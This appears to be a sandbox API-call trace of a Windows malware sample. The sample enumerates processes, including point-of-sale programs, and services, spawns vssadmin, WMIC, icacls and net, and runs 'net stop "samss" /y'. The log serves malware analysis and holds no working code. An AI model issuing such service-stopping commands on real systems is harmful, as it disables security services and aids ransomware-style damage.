	[0252.582] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0252.584] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0252.585] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0252.587] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0252.589] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0252.591] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0252.593] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0252.594] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0252.596] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan purchases.exe")) returned 1
	[0252.598] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana.exe")) returned 1
	[0252.600] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="floppy.exe")) returned 1
	[0252.602] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="computed kernel.exe")) returned 1
	[0252.603] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0252.769] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xad0, pcPriClassBase=8, dwFlags=0x0, szExeFile="uZkoH.exe")) returned 1
	[0252.771] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa0, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="fMRKmiSrvlan.exe")) returned 1
	[0252.772] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb7, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="HovnaLKnSlan.exe")) returned 1
	[0252.774] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0252.776] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0252.778] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0252.779] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0252.781] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0252.783] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0252.784] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0252.786] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0252.788] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0252.790] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0252.791] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0252.793] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0252.795] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0252.797] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2fa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0252.798] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0252.800] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x307c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ae0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0252.802] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x30cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ad8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1
	[0252.803] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x345c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0252.805] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x34c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0252.807] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x34c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0252.807] CloseHandle (hObject=0x25e4) returned 1
	[0252.808] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0xdb300
	[0253.212] EnumServicesStatusW (in: hSCManager=0xdb300, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0 | out: lpServices=0x0, pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0) returned 0
	[0253.213] VirtualAlloc (lpAddress=0x0, dwSize=0x177d, flAllocationType=0x1000, flProtect=0x40) returned 0x2760000
	[0253.214] EnumServicesStatusW (in: hSCManager=0xdb300, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x2760000, cbBufSize=0x177d, pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0 | out: lpServices=0x2760000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0) returned 1
	[0253.216] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0253.603] Sleep (dwMilliseconds=0x96) 
	[0253.821] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.823] Sleep (dwMilliseconds=0xc350) 
	[0266.128] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x2b44
	[0267.289] Process32FirstW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0267.291] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0267.293] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0267.295] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0267.296] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0267.298] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0267.300] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0267.302] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0267.304] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0267.306] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0267.307] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0267.309] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0267.311] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0267.313] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0267.315] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0267.554] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0267.556] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0267.558] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0267.559] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0267.561] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0267.563] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0267.565] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0267.567] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0267.568] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0267.570] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0267.572] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="compound italiano branch.exe")) returned 1
	[0267.574] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="laugh.exe")) returned 1
	[0267.576] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="swiss_italia_boards.exe")) returned 1
	[0267.578] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pairchronicles.exe")) returned 1
	[0267.580] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="varyoopsboss.exe")) returned 1
	[0267.582] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="integratechips.exe")) returned 1
	[0267.584] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reselleremotional.exe")) returned 1
	[0267.585] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh pct os.exe")) returned 1
	[0267.587] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="clearly_st.exe")) returned 1
	[0267.589] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepingtheregather.exe")) returned 1
	[0267.591] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="profile accepting clark.exe")) returned 1
	[0267.592] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="origins models wing.exe")) returned 1
	[0267.594] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hurricane.exe")) returned 1
	[0267.596] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basketballamdphil.exe")) returned 1
	[0268.022] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="legs.exe")) returned 1
	[0268.023] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fails_wichita_innocent.exe")) returned 1
